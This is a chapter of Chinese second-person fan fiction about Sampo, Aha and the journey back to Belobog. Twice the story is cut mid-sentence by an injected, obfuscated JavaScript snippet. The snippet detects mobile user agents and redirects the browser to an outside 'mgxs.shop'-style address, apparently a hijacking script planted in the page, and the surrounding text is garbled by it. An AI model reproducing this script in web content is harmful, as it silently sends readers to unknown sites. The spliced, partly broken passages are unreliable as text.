“着急借着副人格之口表白,又想给彼此留一些余地,甚至把别人,比如我,也卷入你们私人play的一环……你不像是这么没分寸的人啊,桑博。 “让我想想……是你要大难临头了?还是那女孩要遇见麻烦了?” 随着她的话语,画面中的桑博眼里笑意渐渐变淡,不过还是带着笑,看着花火:“老朋友,这些真的都是你的主观臆断。” “哼,锯嘴葫芦,整个酒馆里就你话最多,嘴却最严!我不管,这次你可欠我个人情。以后我要是有事,你可必须来帮忙!在那之前,你最好别死了!” 花火掏出应援棒给他点了个踩,“好了,老桑博,我听见小石头的脚步声了——我走了!” 说完,她一跃跳进了旁边的二次元管道。 …… 另一边,你气喘吁吁地从一个管道钻出来,看着前面依旧被隔断的道路和新的管道绝望地问:“为什么还有?!我们一定要过完全部的《二次元JUMP!》才能到达目的地吗?” “这叫剧情穿插玩法讲解,我的好姐姐。”蓝莓蛋糕说,“你不觉得这个很有意思吗?而且还有奖励拿耶。” “你说那些星琼?”你没好气的说,“哈,那东西是被炸成渣滓的古兽碎片历经千年以上形成的东西,所有矿石里我最不稀罕这个了——谁会喜欢别人留下来的高达碎片啊!” “话虽这么说,但是它们在另一个世界可是相当珍贵的资源……”蓝莓蛋糕反驳道,旋即意识到什么:“其实你就是不喜欢玩游戏吧?我看你连最简单的关卡都死了好几次……” “闭嘴。”你冷酷无情地爬进管道,“这游戏又没有惩罚机制,我死几次怎么了?从哪里跌倒就从哪里爬起来!” “往好处想,朋友。”蓝莓蛋糕和你一起飘进管道里,声音被二次元管道变成电子音效:“我们的目的地可是桑博·科斯基的宝库——里面装满了他从宇宙各地收集的宝贝啊!我敢说,他的藏品一定是酒馆最丰富的。” “看出来了。”又一次摔下去,你无能狂怒地往空气中射了几箭,“他很擅长敛财。” 但是就算他的收藏颇丰!你的那颗绿宝石!放在他的收藏里,也绝对名列前茅! “等你到了那里,他的东西不就都是你的东西?”蓝莓蛋糕的嗓音低沉下来,颇有阴沉沉的反派风范,“随意取用,老兄!” “我不缺钱。”你总算跳过了尖刺,“只要把我请侦探的委托费出了就行。” “我说的收藏,可不是钱那些俗物!”蓝莓蛋糕高声说道,“是品味,是格调,是它们的象征,是艺术与文明!” “老兄。”你说,“我再次申明:我不是你的传销客户。” “呀,你怎么不相信你亲爱的老朋友说的话呢?即使我现在只是枚蓝莓蛋糕?”它说,扁扁地落在你头上:“别射那个了,那个没用,你得先跳过去把按钮踩亮——就比如说那些沿路上看见的画!他们都是关于星神的隐喻……” “我看见了,画家把「存护」画成了全自动机兵。”你说,按照蓝莓蛋糕的指示跳过去踩住了按钮,“搞得好像克里珀是个全自动机器人一样——人设和博识尊撞了吧?” “谁知道呢?”蓝莓蛋糕嚷道,“如果我说它们是桑博收藏的,你可能不信它们有什么邪,但我要是说画它们的是阿哈本人,你就会信这个邪了!” “所以它们是「阿哈」画的?” “哈哈,抛开事实不谈,难道那些画就没有万分之一的可能性是祂主笔的吗——那边,那边!跳上那边的平台,画框背后有个隐藏空间……” “噢,天哪。”你抱怨道,“你跟我说老实话,我们到底还要再玩几个这个才能到地方?” “一、一个……我是说,两个。再坚持一下,伙计!别愁眉苦脸的。要我老蛋糕说,游戏可是个好东西:现实中,军团毁灭了无数星球,而在游戏里,甚至连电饭煲都有可能满血打败纳努克!” “哈哈,所以理论上,把世界变成游戏,所有人都有可能打败纳努克?” “Bingo!没错,就是这样……好姐姐,前面就是啦!”蓝莓蛋糕激动地说,“见到他之后,你一定要好好教训他一下!” 你从最后一个管道里爬出来,掸了掸身上的灰,转头就和画中的桑博对上了视线。 “家人,总算把你盼来了!”他眼泪汪汪,“我就知道你心里有我!咦……” 他的目光落在你颈间。你下意识伸手摸了一下——是那块被“咬”红的伤口。 有那么一会儿,你简直恼怒到想把蓝莓蛋糕一起塞进画里转身就走,但是你的理智还是阻止了你,并在心里不断劝说: 这都是你上辈子造的孽,这都是上辈子造的孽…… 自古情债最难还,万一你真的是个忘恩负义之人……向人许诺终身之后死掉了什么的,然后让人家苦苦抱着你的尸体捱过漫长的寒冬……你真的睡到半夜都要惊醒过来给自己一巴掌。 你为自己的想象打了个寒战。 好可怕。 这么想着,你的声音明显弱了下来:“看什么看?都是你分身干的,你……” 不对,故事不应该这么开始——应该你先这样,再那样,最后再这样,然后桑博跟你道歉,你们两个人恢复从前相处的状态…… 现在的气氛突然变得很奇怪,尤其是你感觉自己的耳朵根在因为他的注视发烫……该死,为什么面具遮不住耳朵?你需要一个超大的面具,能把整个脑袋全包进去的那种! 冷静,冷静……拿出你的气势! 你深吸一口气,刚要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285802|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口,就看见桑博耷拉着脸蛋,趴在画框边缘,忧郁地看着你:“对不起。” 你:“?” 刚聚集起来的气势被突如其来的道歉打散:“也……不全是你的问题。” “不,家人,有时候我们得唯结果论一点——比如现在,不管我的真实意愿是什么,今天发生的事情肯定冒犯到了你吧?”桑博痛苦地闭上眼睛,“要杀要剐,如果能消除我带来的负面影响,就请便吧。” “哟,要杀要剐悉听尊便~ ”蓝莓蛋糕阴阳怪气,“你就是吃准了她不会对你怎么样吧?别相信她,家人,现在我才是你最可爱最贴心的小蛋糕——嗷!” 你捏了它一把让它住嘴。 乐子神一巴掌,这货更是两巴掌。 “你又是从哪儿冒出来的?”桑博瞪着蓝莓蛋糕,“你该不会是——” “没错!就是被你分裂出来又抛弃的副人格!”蓝莓蛋糕昂首挺胸,“我继承你对她完全的忠诚和爱,现在我才是绝对不会背叛她的那个——嗷呜,怎么又动手,家人!” 你收回手:你现在实在对“爱”这个词有点应激。 “它的情况解释起来有点复杂,总之它现在变成了蛋糕。”你说,认真地看着桑博,“你刚才说要怎么处置你都随我便,那我问你问题,你一定要认真回答。” 桑博点点头。 “我们以前是什么关系?” “能交付后背的战友,并肩而行的旅伴,也是……”桑博垂眸,“约定同行至岁月尽头的恋人。” 你心底一沉。 你们之前果然有过一段关系。 “你是否曾为我的‘复活’做出过努力?” “……是。” 你的“复活”也和他有关。 医生说过,你的脸像被拼起来的碎片……啊,想想某些可能,你简直要窒息了。 “致使我死亡的事物,是否现在仍在威胁着我?” “是。” 你们的旅途并不坦荡——两周的时间也许是他为你平凡生活的愿望所能争取到的极限。未来危机四伏,前尘未卜,过去牵连众多的你无法置身事外。 如此看来,提前知道他的心意也是件好事:让你对寻回记忆多了几分紧迫感。 “我明白了。”你说,“该道歉的是我。‘复活’我想必是件辛苦的事情,我曾许诺过你同行,却留你孤独一人,这对你来说绝不公平。而且,现在的我也无法对你的心意做出回应。对不……” “不要道歉。” “不要道歉!” 蓝莓蛋糕和桑博同时开口打断你。 蓝莓蛋糕愤愤不平:“家人,你道德水平也太高了吧?这有什么好道歉的!说到底,失忆之后的你根本就有承担这些的必要吧?无论是责任还是感情……” “你手撕自己嘴的时候可不是这么说的。”你眼神莫名,瞥了蓝莓蛋糕一眼。 “呃……”蓝莓蛋糕卡住,“糕甚至都没法共情一小时前的自己。” 25. 贝洛伯格 总之,这场蓝莓蛋糕主演、乐子神参演、桑博当大倒霉蛋的乌龙在和谐友好的谈话氛围下终结,你想办法把桑博从画里拽了出来,让他重归三次元。 看在他身上还有伤的份上,你没对他动手,只是在蓝莓蛋糕的怂恿下把桑博的宝藏洗劫一空。 还好回去的路不需要再过游戏关卡——在你的要求下,桑博直接用「开拓」的力量把你带到了「极乐之星」的大灯球处。 “传说这里封印着一件与阿哈有关的奇迹,会回应每个靠近它的愚者。”桑博说,看着你的面具:“你也成为愚者了……真没想到,家人。” “你不过去吗?”你看着躲得远远的桑博,奇怪地问:“你也不是假面愚者吗?” 桑博摆摆手:“嗐,不是所有假面愚者都想和阿哈打交道的……快去吧,家人,我在灯球外面等你。” “好吧。”你将目光重新投向闪耀的大灯球,想起记忆里你和阿哈的对话。 ——『那个酒馆本身就是个*笑话*!但是,那里也承载着我的心血啊!我亲自参与了里面的装修,甚至在灯球里放了给每位「假面愚者」的礼物——哈哈哈,连你也有份哦!』 还有跨越空间时祂说的话——『别忘了去拿我给你的礼物,亲爱的!』 什么礼物需要被郑重其事地放在灯球里? 你希望它真的能帮到现在的你。 你现在最大的愿望是恢复记忆。 拜托了,乐子神……你在心里小声祈祷后,将手放进闪着七彩光芒的*笑容*中。 你的手摸到一个坚硬的东西……圆形的,不大,像是矿石质地。 你睁开眼。 你掏出了一个罗盘。 很简单的石制罗盘,上面有张大大的笑脸,脸上贴着张使用说明书。 你把它撕下来看了看: 「想要找到你失去的东西吗?就用阿哈牌罗盘吧!阿哈为您指引方向,永远不会让你失望!无论是财宝、记忆还是人,只要注入一点愿力,罗盘就会显示失物的方向!用阿哈牌罗盘,妈妈再也不用担心你丢东西……」 你安心地将罗盘收下。 乐子神加一分! 这东西完全就是为你量身定制的嘛! 蓝莓蛋糕飘在你身边,“难得,真是难得,阿哈居然这么可靠。” “是啊,可靠到把你变成小蛋糕了呢。”你怜悯地看着它,“小心哪天被一口吃掉哦。” 蓝莓蛋糕抖了抖:“我是幻造种,我不能吃的!” 实际上,被阿哈力量塑造而成的它,已经脱离了幻造种的范畴,不再依靠纯粹的愿力而活。也就是说,即使离开愿力充沛的二相乐园,它也不会因为失去愿力支持而消失。 你没反驳它,抱着它出了灯球空间,找到桑博商量接下来的行动。 “我想先回贝洛伯格,帮他们解决眼下的麻烦,然后靠着罗盘寻找我的记忆碎片。”你说,“公司使者来访,似乎为多年前雅利洛六号欠下的账款而来,来者不善。而作为操纵「星核」的人,我的话还是有点分量的。而你,如果只想当个观众,那之后就不用出现,全由我来出面就好。你觉得怎么样?” 桑博的猫猫嘴翘起:“都听你的,家人。不过,我有个小小建议:为什么不在这里试试罗盘的效果呢?说不定你的一部分记忆就落在二相乐园呢。” “……你说的对。”你拿出罗盘。 试试效果,如果不好用还能当场把投诉信塞给阿哈。 你往里注入了一点愿力,包含着你对寻回失去记忆的渴望。 罗盘上的笑脸张大嘴,啊呜一口吃掉你的愿力,发出一阵笑声,指针飞快地转了起来,最后停在了一个方向。 表盘旁浮现出一个小小的金色标记:『据您还有……500m!』 你颇为高兴地对桑博笑道:“真的有耶!多亏你提醒我。走吧,我们一起去看看。” 你的面具已经从脸上摘掉了,明明是最普通的面容,笑起来时眼睛却像黑曜石一样,亮晶晶的。 好可爱——桑博和蓝莓蛋糕同时心想,只不过前者稳如老狗,后者则露出了叽叽叽的傻笑。 你奇怪地看了蛋糕一眼,没有在意他们的表情,带着他们往罗盘指引的方向去。 一番来回穿梭之后,你感到前方的通道越来越熟悉,不禁沉默。 “别告诉我……我的记忆碎片藏在「黄金告解室」。” 蓝莓蛋糕同情地说:“那还是比较遗憾的,我已经闻到被排泄出来的忆质的味道了。” “从储存的角度看,其实这也比较合理。”桑博安慰你,“要想藏匿一尾鱼,就把它放进鱼群中……「黄金告解室」本来就是愚者排出烦恼忆质的地方,你的记忆在这里……呃,就像鱼儿游进水里,不会有人注意到的,家人。” 你摇了摇头,随着一声冲水声,从马桶中爬了出来。 你手里的罗盘不偏不倚指向全部马桶之中最金贵、最特别、最奢华、最高大的那个。绝望就像忆质一样喷涌而出,你带着几分悲愤说道:“我的记忆……真的被冲进马桶里了……还是这里最俗不可耐的黄金马桶!” “这很衬你的身份,我的朋友。”桑博憋笑,“乐子神在上……” 你深吸一口气,将面具重新戴上,决定当一个冷酷无情的通厕工——如果谁要问你师傅你是做什么工作的,你是绝对不会回答ta的。 五分钟后,你从马桶里掏出了你的记忆碎片。 有琥珀包裹着,你稍感安慰。 你决定晚些时候再吸收这部分记忆。 “好了,桑博。”你说,“是时候展现你的超能力了——带我们穿越回雅利洛六号吧?” “呃,家人,我不是魔法少女哦。”桑博眨眼,“没有超能力那种东西。不过,有另外的方法可以直接去雅利洛六号。跟我来。” …… 再次闻到贝洛伯格地下独有的那股煤矿味儿的时候,你有些恍惚。 原来酒馆里有扇「阿门」— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285803|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —阿哈的门,简称阿门,理论上可以通向任何地方。 桑博和酒馆里研究那门的人是熟人,将贝洛伯格下层酒吧——也就是你们第一次相遇他请你喝酒的地方——后门的空间连上了「阿门」,因此你们直接从门里跨过去,就重新回到了贝洛伯格。 赞美「阿门」。 一回到这里雅利洛六号的信号范围,你的手机就被一连串消息震个不停。 你打开手机。 多数的信息来自布洛妮娅和希露瓦,少部分来自希儿和娜塔莎,你没空一一回复,便告诉她们你回来了,有事见面聊。 可可利亚似乎有卸任的打算,这几天接见使者和洽谈全交由布洛妮娅一人做主,而布洛妮娅发给你的消息就主要讲了和公司使者初步洽谈的结果。 使者叫托帕,是公司战略投资部“石心十人”的一员。她是位十分干练且强势的女性,在谈话中给布洛妮娅带来了很大的压力。 「公司想收购雅利洛六号。」布洛妮娅说,「用托帕的话说,他们想投资雅利洛六号的未来。」 「他们会派人改善土质,挖掘雅利洛六号的潜能,使它成为优秀的矿产星球。」 「公司会为矿产挖掘支付信用点,并且负责雅利洛六号灾后重建的一切事宜。」 「当然。这些事情都是有代价的:代价就是贝洛伯格人民的未来。收购这颗星球,并且与这里的人民签下合同,未来这里所有的人都会成为公司潜在的员工。诚然,这样的合同意味着雅利洛六号在浩大寰宇中背靠公司这样庞大的靠山,人民也有了前往外面的世界发展的可能性,然而……」 「用「未来」与「自由」换取「安全」,真的是我应该替贝洛伯格人民做下的决定吗?」 「请务必早些回来与我见面,琥珀小姐……我真的很需要你的建议。」 「另,托帕对您颇为在意。据她所说,“石心十人”中也有一名她的同事,代号琥珀,同名——虽然是化名,但也是种缘分。当知道是你解决了「星核」带来的一系列危机时,她的态度有明显的改变,且没有掩饰这种改变。」 「之后向我的施压,向贝洛伯格的施压……似乎完全转变了目的,从收购雅利洛六号……变成了见到你。」 「我不知道这是不是我的错觉。如果这不是,琥珀小姐,请你务必小心。如果整个雅利洛六号对于公司来说,都没有你重要,那只能说明,你有着比这颗星球更高的价值。」 布洛妮娅的留言到此结束。 你能从她的字里行间看出她对这座星球未来的担忧。 「放心吧,问题小姐。」你回复她,「我已经回来了。今天太晚了,你也早些休息吧。明天一早,我会去上层区与那位使节相见。」 布洛妮娅回了你一个玫瑰花动图,中间有两个闪烁的大字:谢谢。 你不禁想象了一下以布洛妮娅的品味,到了二相乐园里用愿力创造出的东西是什么样子。 一定是充满年代感与丰富回忆的风格吧。